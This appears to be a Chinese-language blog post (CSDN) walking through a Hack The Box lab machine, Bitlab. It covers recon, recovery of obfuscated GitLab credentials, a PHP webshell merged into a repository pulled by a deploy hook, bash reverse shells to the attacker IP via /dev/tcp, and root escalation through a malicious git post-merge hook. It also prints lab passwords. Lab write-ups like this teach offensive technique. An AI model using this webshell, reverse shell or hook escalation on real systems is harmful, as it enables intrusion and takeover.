漏洞payload 靶机_【HTB系列】靶机Bitlab的渗透测试

本文详述了对HTB靶机Bitlab的渗透测试过程,包括端口探测、目录扫描、漏洞发现与利用、反弹shell以及权限提升。通过分析GitLab的挂钩文件,构造并合并带有webshell的提交,最终利用git hooks实现提权,获取root权限。
摘要由CSDN通过智能技术生成

本文作者:是大方子(Ms08067实验室核心成员)

0x00 本文目录

反思与总结

基本信息

渗透测试过程

补充

0x01 反思与总结

1. curl 发送GET参数化请求 2. 对反弹回来的shell进行设置完善 3. 使用git hooks来进行提权

0x02 基本信息

靶机IP地址:10.10.10.114 Kali IP地址:10.10.14.13

0x03 渗透测试过程

端口探测

root@kali:~/HTB/bitlab# nmap ‐sC ‐sV ‐oA bitloab 10.10.10.114

StartingNmap7.80(https://nmap.org)at2020‐01‐2210:04CST

Nmapscan reportfor10.10.10.114

Hostis up(0.24slatency).

Notshown:998filtered ports

PORT   STATE SERVICE VERSION

22/tcp open  sshOpenSSH7.6p1Ubuntu4ubuntu0.3(UbuntuLinux;protocol2.0)

|ssh‐hostkey:

|2048a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18(RSA)

|256e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc(ECDSA)

|_256c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55(ED25519)

80/tcp open  http    nginx

|http‐robots.txt:55disallowed entries(15shown)

|//autocomplete/users/search/api/admin/profile

|/dashboard/projects/new/groups/new/groups/*/edit/users/help

|_/s//snippets/new/snippets/*/edit

|http‐title:SigninxC2xB7GitLab

|_Requestedresource was http://10.10.10.114/users/sign_in

|_http‐trane‐info:Problemwith XML parsing of/evox/about

ServiceInfo:OS:Linux;CPE:cpe:/o:linux:linux_kernel

Servicedetection performed.Pleasereport any incorrect results at

https://nmap.org/submit/.

Nmapdone:1IP address(1host up)scannedin34.44seconds

目标靶机开放了80 和 22端口

目录探测

我们先从80下手,查看下网页内容

先使用gobuster进行扫描

gobuster dir‐u"http://10.10.10.114/"‐w/usr/share/wordlists/dirbuster/directory‐list‐

2.3‐medium.txt‐t150‐s200,204,301,307,401,403‐o bitlab.gobuster

参数介绍:

dir: 表示扫描目录的模式 -w: 使用的字典 -t: 线程数量 -s: 只显示响应码为200,204,301,307,401,403的路径,因为我们访问网页的时候有些位置是不允许我们访问会被302跳转到登录界面

对出现的结果逐一查看,发现除了help外其他的网页都没什么可用信息

漏洞发现

打开help下的bookmarks.html

对这几个超链接逐一查看,发现前面4个连接都只是分别指向hackthebox,Docker,PHP,Node.js的官网并没有什么信息

点击 【Gitlab Login】 时,发现没反应,但是出现了javascript代码。

我们打开源码进行查看

把javascript代码复制出来放到https://beautifier.io/进行美化并把里面的HTML实体去除,得到下面的结果

javascript:(function(){

var_0x4b18=["x76x61x6Cx75x65","x75x73x65x72x5Fx6Cx6Fx67x69x6E",

"x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64","x63x6Cx61x76x65",

"x75x73x65x72x5Fx70x61x73x73x77x6Fx72x64",

"x31x31x64x65x73x30x30x38x31x78"];

document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]=_0x4b18[3];

document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]=_0x4b18[5];

})()

把_0x4b18里面的内容翻译下(十六进制转字符)

var_0x4b18=["value","user_login","getElementById","clave","user_password",

"11des0081x"];

那么下面2行代码

document[getElementById](user_login)[value]=clave;

document[getElementById](user_password)[value]=11des0081x;

感觉是账号密码的感觉,我们在登录界面使用console进行尝试

账号密码直接出现并成功登录

登录后有2个库

在deployer中发现index.php,像是一个挂钩文件,当Profile存储库合并了一个新的提交时就会执行命令   切换到 profile目录 , 并且执行sudo git pull

$input=file_get_contents("php://input");

$payload=json_decode($input);

$repo=$payload‐>project‐>name??'';

$event=$payload‐>event_type??'';

$state=$payload‐>object_attributes‐>state??'';

$branch=$payload‐>object_attributes‐>target_branch??'';

if($repo=='Profile'&&$branch=='master'&&$event=='merge_request'&&$state=='merged')

{

echo shell_exec('cd ../profile/; sudo git pull'),"n";

}

echo"OKn";

那么我们只要写入一个webshell并合并到profile库中,那么这个index.php就会把我们的webshell给pull下来

我们创建一个分支

切换到这个分支,然后在这个分支上创建一个webshell

写入一个webshell,并提交

if(isset($_REQUEST['cmd'])){

echo"

";

$cmd=($_REQUEST['cmd']);

system($cmd);

echo"

";

die;

}

?>

创建合并请求

然后就可以看到我们的webshell就成功合并如mstaer库

此时应该会被之前的挂钩文件pull到本地,我们尝试访问看看

http://10.10.10.114/profile/dfz.php?cmd=whoami

也可以通过curl来进行命令执行

curl‐G"http://10.10.10.114/profile/dfz.php"‐‐data‐urlencode'cmd=whoami'

-G:表示发送GET请求 --data--urlencode:对数据进行URL编码

这样我们就拿到了webshell

反弹shell

接下来就是反弹shell

kali先nc先监听端口

然后用curl反弹,这里需要注意的是,反弹shell的指令前面还需要用到bash -c

curl‐G"http://10.10.10.114/profile/dfz.php"‐‐data‐urlencode"cmd=bash ‐c 'bash ‐i >&

/dev/tcp/10.10.14.13/9001 0>&1'"

反弹回来的shell,会出现字符错误,无法编辑vim等问题

输入下面的指令对反弹回来的shell进行设置,让后面我们可以正常使用

python‐c"import pty;pty.spawn('/bin/bash')"

ctrl+z(后台挂起shell)

stty raw‐echo

fg+多个回车

stty rows34cols136

export TERM=xterm

这样我们反弹回来的shell就可以像我们平常用的那个shell一样了

权限提升

进入之后我们看下sudo -l 有没有能突破的点

这里我们可以看到 www-data用户可以不需要密码

以root的权限调用git pull 命令

这里我们可以用git的hook文件来进行提权

在.git/hooks文件中有一些模板,我们可以对照进行编写

因为sudo运行www-data用户运行git pull文件

那么我们找下运行这个命令的时候会触发哪个hook文件

可以通过下面命令查看

man githooks

可以看到在执行git pull时,会触发post-merge这个文件

但是在hook文件里面没有这个文件,我需要手动创建

但是这个文件夹我们没有写的权限

那么我们把这个文件给重新拷贝一份出来

然后在 /tmp/dfz/profile/.git/hooks/中创建一个 post-merge文件 ,并赋予执行权限

#!/bin/bash

bash‐c'bash ‐i >& /dev/tcp/10.10.14.11/9000 0>&1'

那么我们接下来做的就是要触发git pull,在这之前我们需要在仓库里面添加一个新的文件,这样git pull才能有效果,否则就有如下的提示

我们可以直接添加一个文件并合并

kali进行监听,然后再进行sudo git pull

然后就得到root权限

0x04 补充

还有另一种方法get flag

我们在进入到profile仓库后可以看到一个TODO

然后我们在

http://10.10.10.114/users/clave/snippets

里面找到postgresql的代码片段

可以看到这段代码在查询数据,我们可以看下它查询的是什么数据

$db_connection=pg_connect("host=localhost dbname=profiles user=profiles

password=profiles");

$result=pg_query($db_connection,"SELECT * FROM profiles");

var_dump(pg_fetch_all($result));

?>

array(1) {

[0]=>

array(3) {

["id"]=>

string(1) "1"

["username"]=>

string(5) "clave"

["password"]=>

string(22) "c3NoLXN0cjBuZy1wQHNz=="

}

}

我们尝试登录到clave

成功!

同时我们在clave的家目录下看到一个exe

我们通过scp下载回来

scp clave@10.10.10.114:RemoteConnection.exe.

使用OD进行调试也可以看到root的账号密码

Qf7]8YSV.wDNF*[7d?j&eD4^

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值